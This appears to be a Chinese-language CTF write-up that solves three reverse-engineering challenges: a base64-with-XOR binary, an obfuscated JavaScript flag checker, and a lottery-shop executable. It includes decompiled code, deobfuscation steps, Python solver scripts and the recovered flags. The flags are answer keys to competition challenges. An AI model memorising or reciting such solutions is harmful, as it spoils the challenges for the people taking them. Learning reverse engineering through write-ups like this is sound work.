1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 _BYTE *__fastcall encrypt (const char *a1) { int v2; int v3; __int64 v4; signed __int64 v5; _BYTE *v6; char v7[72 ]; unsigned __int64 v8; v8 = __readfsqword(0x28 u); strcpy (v7, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ); v5 = strlen (a1); if ( v5 % 3 ) v4 = 4 * (v5 / 3 + 1 ); else v4 = 4 * (v5 / 3 ); v6 = malloc (v4 + 1 ); v6[v4] = 0 ; v2 = 0 ; v3 = 0 ; while ( v2 < v4 - 2 ) { v6[v2] = v7[(unsigned __int8)a1[v3] >> 2 ]; v6[v2 + 1 ] = v7[((unsigned __int8)a1[v3 + 1 ] >> 4 ) | (16 * a1[v3]) & '0' ]; v6[v2 + 2 ] = v7[((unsigned __int8)a1[v3 + 2 ] >> 6 ) | (4 * a1[v3 + 1 ]) & 0x3C ]; v6[v2 + 3 ] = v7[a1[v3 + 2 ] & 0x3F ]; v3 += 3 ; v2 += 4 ; } if ( v5 % 3 == 1 ) { v6[v2 - 2 ] = 61 ; v6[v2 - 1 ] = 61 ; } else if ( v5 % 3 == 2 ) { v6[v2 - 1 ] = 61 ; } return v6; }
看到这里觉得是base64,也有可能是换表base64,但是解不出来,接着看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 size_t __fastcall get_trans (const char *a1) { size_t result; int i; for ( i = 0 ; ; ++i ) { result = strlen (a1); if ( i >= result ) break ; a1[i] ^= 0x68 u; } return result; }
在类似base编码之后还加了异或
思路:
exp
1 2 3 4 5 6 7 8 9 import base64s = [0x32 , 0x05 , 0x10 , 0x00 , 0x32 , 0x5B , 0x1B , 0x10 , 0x30 , 0x5A , 0x1F , 0x1F , 0x0C , 0x05 , 0x3E , 0x0E , 0x0B , 0x05 , 0x3E , 0x5A , 0x32 , 0x3C , 0x21 , 0x59 , 0x32 , 0x30 , 0x58 , 0x55 ] ss = '' for i in s: ss += chr (i^0x68 ) print(base64.b64decode(ss))
flag{1_l0ve_reve25e}
JSNEWNEW 一个html内嵌经过混淆的js代码
1 ((()=> {function _0x139d2b ( ) {setInterval (()=> {(function ( ) {return ![]}['constructor' ]('debugger' )['call' ]())},0x32 )}try {_0x139d2b()}catch (_0x536807 ) {}})());function _Y0u (_0x5093c8,_0x291ad5 ) {return _0x5093c8+_0x291ad5}function _C4n (_0x4277b8 ) {return _0x4277b8&0xff }function _N3v3r (_0x414184,_0x29df09 ) {return _C4n(_0x414184^_0x29df09)}function _G37 (_0x500f65,_0x1ddb85 ) {return _C4n(_0x500f65|_0x1ddb85)}function _Th15 (_0x1621d6,_0x285fc7 ) {return _C4n(_0x1621d6&_0x285fc7)}function _H4 (_0x2abb65 ) {return _C4n(~_0x2abb65)}function _H4H4 (_0x5b22bc ) {return _C4n(_H4H4H4(_H4(_0x5b22bc),_H4H4H4([],0x1 )))}function _H4H4H4 (_0x431cb1,_0x516603 ) {return _C4n((_H4(_G37(_H4(_Y0u(_0x431cb1,_0x516603)),_H4(_Y0u(_0x431cb1,_0x516603)))),_H4(_G37(_H4(_Y0u(_0x431cb1,_0x516603)),_H4(_Y0u(_0x431cb1,_0x516603))))))}function _H4H4H4H4 (_0x1b81b8,_0x11e8ab,_0x2c730f ) {return a=_H4H4H4(_0x1b81b8,_0x2c730f),a=_H4H4H4(a,_H4H4(_0x11e8ab)),a=_H4H4H4(a,_H4H4(_0x2c730f)),_C4n(a)}function _G00D (_0x51eb06 ) {((()=> {function _0x139d2b ( ) {setInterval (()=> {(function ( ) {return ![]}['constructor' ]('debugger' )['call' ]())},0x32 )}try {_0x139d2b()}catch (_0x536807 ) {}})());var _0x8b9e29=document ['getElementById' ]('passwordError' );_0xcaf3caf3=[],_0xc4f3c4f3=[0x55 ,0xbf ,0x63 ,0xbc ,0x33 ,0x95 ,0x31 ,0x4c ,0x89 ,0x6b ,0x49 ,0x31 ,0x30 ,0xdf ,0x63 ,0xe5 ,0x57 ,0xd7 ,0x73 ,0xa6 ,0x6e ,0xd3 ,0x63 ,0xa1 ,0x92 ,0x5b ,0x72 ,0xe6 ,0x8f ,0x76 ,0x4f ,0xd0 ],Hur1k='Hur1k' ;if (_0x51eb06['length' ]!=0x27 )return _0x8b9e29['textContent' ]='错误的' ,![];if (_0x51eb06['substr' ](0x0 ,0x6 )!='XSCTF{' )return _0x8b9e29['textContent' ]='错误的' ,![];if (_0x51eb06[0x26 ]!='}' )return _0x8b9e29['textContent' ]='错误的' ,![];_0x114514=_0x51eb06['substr' ](0x6 ,0x20 ),_0x51eb06=[];for (var _0x28db6c=0x0 ;_0x28db6c<_0x114514['length' ];_0x28db6c++ ) {_0x51eb06['push' ](_0x114514['charCodeAt' ](_0x28db6c))}Math ['seed' ]=new Date ()['getTime' ](),Math ['seededRandom' ]=function (_0x14b0c9,_0x56fb11 ) {_0x56fb11=_0x56fb11||0x1 ,_0x14b0c9=_0x14b0c9||0x0 ,Math ['seed' ]=(Math ['seed' ]*0x2455 +0xc091 )%0x38f40 ;var _0xee8b23=Math ['seed' ]/0x38f40 ;return parseInt (_0x14b0c9+_0xee8b23*(_0x56fb11-_0x14b0c9))};var _0xe5731c=Math ['seededRandom' ](0x0 ,0x100 );for (var _0x28db6c=0x0 ;_0x28db6c<_0x51eb06['length' ];_0x28db6c+=0x2 ) {tmp=_H4H4H4(_0x51eb06[_0x28db6c],_0x28db6c)^_0x28db6c,_0xcaf3caf3['push' ](tmp),randNum=Math ['seededRandom' ](0x0 ,0x100 ),Math ['seed' ]=randNum,tmp=_H4H4H4H4(tmp^_0x51eb06[_0x28db6c+0x1 ],Hur1k['charCodeAt' ]([_0x28db6c/0x2 %Hur1k['length' ]]),randNum),_0xcaf3caf3['push' ](tmp)}((()=> {function _0x139d2b ( ) {setInterval (()=> {(function ( ) {return ![]}['constructor' ]('debugger' )['call' ]())},0x32 )}try {_0x139d2b()}catch (_0x536807 ) {}})());if (_0xcaf3caf3['length' ]!=0x20 )return _0x8b9e29['textContent' ]='究极错误的' ,![];for (var _0x28db6c=0x0 ;_0x28db6c<_0xcaf3caf3['length' ];_0x28db6c++ ) {if (_0xcaf3caf3[_0x28db6c]!=_0xc4f3c4f3[_0x28db6c])return _0x8b9e29['textContent' ]='错误的' ,![]}return !![]}
首先经过Obfuscator.io Deobfuscator (deobfuscate.io) ,初步解混淆 再通过JavaScript Deobfuscator (deobfuscate.io) ,再解一次 然后就解不动了(不排除有其他工具)
解混淆的结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 (() => { function _0x139d2b ( ) { setInterval (() => { (function ( ) { return false ; }.constructor("debugger" ).call()); }, 50 ); } try { _0x139d2b(); } catch (_0x536807) {} })(); function _H4H4H4 (_0x431cb1, _0x516603 ) { ~((~(_0x431cb1 + _0x516603) & 255 | ~(_0x431cb1 + _0x516603) & 255 ) & 255 ) & 255 ; return ~((~(_0x431cb1 + _0x516603) & 255 | ~(_0x431cb1 + _0x516603) & 255 ) & 255 ) & 255 & 255 ; } function _H4H4H4H4 (_0x1b81b8, _0x11e8ab, _0x2c730f ) { a = _H4H4H4(_0x1b81b8, _0x2c730f); a = _H4H4H4(a, _H4H4H4(~_0x11e8ab & 255 , _H4H4H4([], 1 )) & 255 ); a = _H4H4H4(a, _H4H4H4(~_0x2c730f & 255 , _H4H4H4([], 1 )) & 255 ); return a & 255 ; } function _G00D (_0x51eb06 ) { (() => { function _0x139d2b ( ) { setInterval (() => { (function ( ) { return false ; }.constructor("debugger" ).call()); }, 50 ); } try { _0x139d2b(); } catch (_0x536807) {} })(); var _0x8b9e29 = document .getElementById("passwordError" ); _0xcaf3caf3 = []; _0xc4f3c4f3 = [85 , 191 , 99 , 188 , 51 , 149 , 49 , 76 , 137 , 107 , 73 , 49 , 48 , 223 , 99 , 229 , 87 , 215 , 115 , 166 , 110 , 211 , 99 , 161 , 146 , 91 , 114 , 230 , 143 , 118 , 79 , 208 ]; Hur1k = "Hur1k" ; if (_0x51eb06.length != 39 ) { _0x8b9e29.textContent = "错误的" ; return false ; } if (_0x51eb06.substr(0 , 6 ) != "XSCTF{" ) { _0x8b9e29.textContent = "错误的" ; return false ; } if (_0x51eb06[38 ] != "}" ) { _0x8b9e29.textContent = "错误的" ; return false ; } _0x114514 = _0x51eb06.substr(6 , 32 ); _0x51eb06 = []; for (var _0x28db6c = 0 ; _0x28db6c < _0x114514.length; _0x28db6c++) { _0x51eb06.push(_0x114514.charCodeAt(_0x28db6c)); } Math .seed = (new Date ).getTime(); Math .seededRandom = function (_0x14b0c9, _0x56fb11 ) { _0x56fb11 = _0x56fb11 || 1 ; _0x14b0c9 = _0x14b0c9 || 0 ; Math .seed = (Math .seed * 9301 + 49297 ) % 233280 ; var _0xee8b23 = Math .seed / 233280 ; return parseInt (_0x14b0c9 + _0xee8b23 * (_0x56fb11 - _0x14b0c9)); }; for (var _0x28db6c = 0 ; _0x28db6c < _0x51eb06.length; _0x28db6c += 2 ) { tmp = _H4H4H4(_0x51eb06[_0x28db6c], _0x28db6c) ^ _0x28db6c; _0xcaf3caf3.push(tmp); randNum = Math .seededRandom(0 , 256 ); Math .seed = randNum; tmp = _H4H4H4H4(tmp ^ _0x51eb06[_0x28db6c + 1 ], Hur1k.charCodeAt([_0x28db6c / 2 % Hur1k.length]), randNum); _0xcaf3caf3.push(tmp); } (() => { function _0x139d2b ( ) { setInterval (() => { (function ( ) { return false ; }.constructor("debugger" ).call()); }, 50 ); } try { _0x139d2b(); } catch (_0x536807) {} })(); if (_0xcaf3caf3.length != 32 ) { _0x8b9e29.textContent = "究极错误的" ; return false ; } for (var _0x28db6c = 0 ; _0x28db6c < _0xcaf3caf3.length; _0x28db6c++) { if (_0xcaf3caf3[_0x28db6c] != _0xc4f3c4f3[_0x28db6c]) { _0x8b9e29.textContent = "错误的" ; return false ; } } return true ; }
然后就是手动解
从目标数组入手回溯
查看对目标数组操作的函数,尝试逆向
逆向不出来怎么办,把函数复制到控制台,传入简单的参数,然后逐个修改参数,观察函数输出
根据这个方法可以推测出_H4H4H4
的实际作用是相加,_H4H4H4H4
的实际功能是前两个参数相减,第三个参数是摆设
涉及到随机数的参数大概率没什么用
最后手动解混淆的结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 (() => { function _0x139d2b ( ) { setInterval (() => { (function ( ) { return false ; }.constructor("debugger" ).call()); }, 50 ); } try { _0x139d2b(); } catch (_0x536807) {} })(); function add (_0x431cb1, _0x516603 ) { ~((~(_0x431cb1 + _0x516603) & 255 | ~(_0x431cb1 + _0x516603) & 255 ) & 255 ) & 255 ; return ~((~(_0x431cb1 + _0x516603) & 255 | ~(_0x431cb1 + _0x516603) & 255 ) & 255 ) & 255 & 255 ; } function sub (h_a, h_b, h_c ) { a = h_a + h_c + (((~h_b & 255 ) + 1 )&255 ) + (((~h_c & 255 ) + 1 )&255 ) a = h_a + h_c + 256 -h_b + 256 -h_c a = 512 + h_a - h_b return a & 255 ; } function _G00D (userinput ) { (() => { function _0x139d2b ( ) { setInterval (() => { (function ( ) { return false ; }.constructor("debugger" ).call()); }, 50 ); } try { _0x139d2b(); } catch (_0x536807) {} })(); var pass_err = document .getElementById("passwordError" ); userin = []; target = [85 , 191 , 99 , 188 , 51 , 149 , 49 , 76 , 137 , 107 , 73 , 49 , 48 , 223 , 99 , 229 , 87 , 215 , 115 , 166 , 110 , 211 , 99 , 161 , 146 , 91 , 114 , 230 , 143 , 118 , 79 , 208 ]; Hur1k = "Hur1k" ; if (userinput.length != 39 ) { pass_err.textContent = "错误的" ; return false ; } if (userinput.substr(0 , 6 ) != "XSCTF{" ) { pass_err.textContent = "错误的" ; return false ; } if (userinput[38 ] != "}" ) { pass_err.textContent = "错误的" ; return false ; } in_slice = userinput.substr(6 , 32 ); userinput = []; for (var i = 0 ; i < in_slice.length; i++) { userinput.push(in_slice.charCodeAt(i)); } Math .seed = (new Date ).getTime(); Math .seededRandom = function (p_a, p_b ) { p_b = p_b || 1 ; p_a = p_a || 0 ; Math .seed = (Math .seed * 9301 + 49297 ) % 233280 ; var p_seed = Math .seed / 233280 ; return parseInt (p_a + p_seed * (p_b - p_a)); }; for (var i = 0 ; i < userinput.length; i += 2 ) { tmp = add(userinput[i], i) ^ i; userin.push(tmp); randNum = Math .seededRandom(0 , 256 ); Math .seed = randNum; tmp = sub(tmp ^ userinput[i + 1 ], Hur1k.charCodeAt([i / 2 % Hur1k.length]), randNum); userin.push(tmp); } (() => { function _0x139d2b ( ) { setInterval (() => { (function ( ) { return false ; }.constructor("debugger" ).call()); }, 50 ); } try { _0x139d2b(); } catch (_0x536807) {} })(); if (userin.length != 32 ) { pass_err.textContent = "究极错误的" ; return false ; } for (var i = 0 ; i < userin.length; i++) { if (userin[i] != target[i]) { pass_err.textContent = "错误的" ; return false ; } } return true ; }
exp.py
1 2 3 4 5 6 7 8 9 10 Hur1k = "Hur1k" s = [85 , 191 , 99 , 188 , 51 , 149 , 49 , 76 , 137 , 107 , 73 , 49 , 48 , 223 , 99 , 229 , 87 , 215 , 115 , 166 , 110 , 211 , 99 , 161 , 146 , 91 , 114 , 230 , 143 , 118 , 79 , 208 ] charCode = [0 , 0 , 1 , 1 , 2 , 2 , 3 , 3 , 4 , 4 , 0 , 0 , 1 , 1 , 2 , 2 , 3 , 3 , 4 , 4 , 0 , 0 , 1 , 1 , 2 , 2 , 3 , 3 , 4 , 4 , 0 , 0 ] for i in range (30 , -1 , -2 ): s[i+1 ] = ((s[i+1 ]+ord (Hur1k[charCode[i]]))&255 )^s[i] s[i] = (s[i]^i)-i for i in s: print(chr (i), end='' )
UR_R341Ly_900d_47_Obfu_ur_Newn3W
一些解混淆的网站
工具
lotery shop 核心代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 void __noreturn sub_140017AC0 () { char *v0; __int64 i; char v2; char v3[80 ]; char v4[80 ]; char v5[96 ]; char v6[80 ]; int v7[20 ]; int v8[20 ]; int v9[20 ]; int v10[20 ]; char v11[76 ]; int v12[8 ]; int v13[19 ]; char v14[180 ]; int v15[148 ]; int v16; v0 = &v2; for ( i = 266 i64; i; --i ) { *(_DWORD *)v0 = -858993460 ; v0 += 4 ; } sub_140011690(&unk_14002D06A); v13[0 ] = 0 ; v13[8 ] = 10 ; j_memset(v14, 0 , 30u i64); v15[0 ] = 0 ; sub_14001117C(v3, "Sloth's lottery shop is open!" ); sub_14001117C(v4, "You're our first customer!" ); sub_1400114CE(v5, "We will give you a free lottery ticket, the number is: " ); sub_14001117C(v6, "Please enter your choice {1-5}" ); sub_14001117C(v7, "1.buy a lottery ticket" ); sub_14001117C(v8, "2.Check to see if you won" ); sub_14001117C(v9, "3.join us" ); sub_14001117C(v10, "4.Take a sneak peek at the flag" ); sub_14001117C(v11, "5.exit" ); sub_1400110FF( (int )v3, (int )v4, (int )v5, (int )v6, (__int64)v7, (__int64)v8, (__int64)v9, (__int64)v10, (__int64)v11, (__int64)v13, (__int64)v15, (__int64)v14); while ( 1 ) { while ( 1 ) { sub_14001156E((int )v7, (int )v8, (int )v9, (int )v10, v11, v6); sub_1400113CA("%d" , v12); v16 = v12[0 ]; if ( v12[0 ] != 1 ) break ; system("cls" ); sub_1400111EF(v15, (__int64)v14); sub_1400111BD(); } switch ( v16 ) { case 2 : system("cls" ); sub_140011708(v15, v14, (unsigned int )v13[0 ]); sub_1400111BD(); break ; case 3 : system("cls" ); sub_14001149C(); sub_1400111BD(); break ; case 4 : system("cls" ); sub_1400114E7(); sub_1400111BD(); break ; case 5 : system("cls" ); puts ("Welcome again" ); sub_1400111BD(); exit (1 ); default : puts ("input error" ); sub_1400111BD(); break ; } } }
这里并没有有关flag的信息,真正的flag在sub_1400110FF
函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 __int64 __fastcall sub_140016760 ( __int64 a1, __int64 a2, __int64 a3, __int64 a4, _BYTE *a5, __int64 a6, __int64 a7, __int64 a8, _BYTE *a9, _DWORD *a10, int *a11, __int64 a12) { unsigned int v12; _BYTE *v14; int v15; int v16; int i; int v18; int j; __int64 v20; sub_140011690(&unk_14002D06A); v14 = (_BYTE *)sub_1400112AD(14 i64); puts ((const char *)a1); puts ((const char *)a2); v14[9 ] = *a5; v14[2 ] = v14[9 ]; v14[1 ] = *(_BYTE *)(a1 + 10 ) - 12 ; v14[10 ] = *(_BYTE *)(a3 + 5 ) - 56 ; v14[7 ] = *(_BYTE *)(a6 + 15 ) - 10 ; v14[13 ] = toupper ((char )(*(_BYTE *)(a8 + 3 ) + 3 )); v14[3 ] = *(_BYTE *)(a2 + 1 ) + 4 ; v14[11 ] = toupper ((char )(*(_BYTE *)(a7 + 7 ) - 14 )); v14[4 ] = v14[7 ]; *v14 = tolower ((char )(*a9 + 31 )); v14[8 ] = toupper (*(char *)(a8 + 27 )); v14[5 ] = toupper ((char )(*(_BYTE *)(a4 + 13 ) - 16 )); v14[6 ] = v14[3 ]; v14[12 ] = a5[6 ] - 39 ; v12 = sub_1400180A0(0 i64); srand(v12); v15 = 1 ; for ( i = 0 ; i < 8 ; ++i ) { v18 = rand() % 10 ; if ( i != 7 || v18 ) { *a10 += v18 * v15; v15 *= 10 ; } else { --i; } } v16 = 1 ; for ( j = 0 ; j < 8 ; ++j ) { v20 = rand() % 10 ; if ( j != 7 || v20 ) { if ( j ) *(_QWORD *)(a12 + 8 i64 * *a11) += v20 * v16; else *(_QWORD *)(a12 + 8 i64 * *a11) = v20; v16 *= 10 ; } else { --j; } } return sub_1400112E9("%s %d\n" , (const char *)a3, *(_QWORD *)(a12 + 8 i64 * (*a11)++)); }
真正的flag在v14变量中,是根据已有的变量变换得到的
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 v3 = "Sloth's lottery shop is open!" v4 = "You're our first customer!" v5 = "We will give you a free lottery ticket, the number is: " v6 = "Please enter your choice {1-5}" v7 = "1.buy a lottery ticket" v8 = "2.Check to see if you won" v9 = "3.join us" v10 = "4.Take a sneak peek at the flag" v11 = "5.exit" v13 = [0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 10 ] v15 = [0 ] * 10 v14 = [0 ] * 10 V14 = [0 ] * 14 V14[9 ] = v7[0 ] V14[2 ] = V14[9 ] V14[1 ] = chr (ord (v3[10 ])-12 ) V14[10 ] = chr (ord (v5[5 ]) - 56 ) V14[7 ] = chr (ord (v8[15 ]) - 10 ) V14[13 ] = chr (ord (v10[3 ]) + 3 ).upper() V14[3 ] = chr (ord (v4[1 ]) + 4 ) V14[11 ] = chr (ord (v9[7 ])-14 ).upper() V14[4 ] = (V14[7 ]) V14[0 ] = chr (ord (v11[0 ])+31 ).lower() V14[8 ] = (v10[27 ]).upper() V14[5 ] = chr (ord (v6[13 ])-16 ).upper() V14[6 ] = V14[3 ] V14[12 ] = chr (ord (v7[6 ])-39 ) print('' .join(V14))
XSCTF{th1s_Is_F14G:D}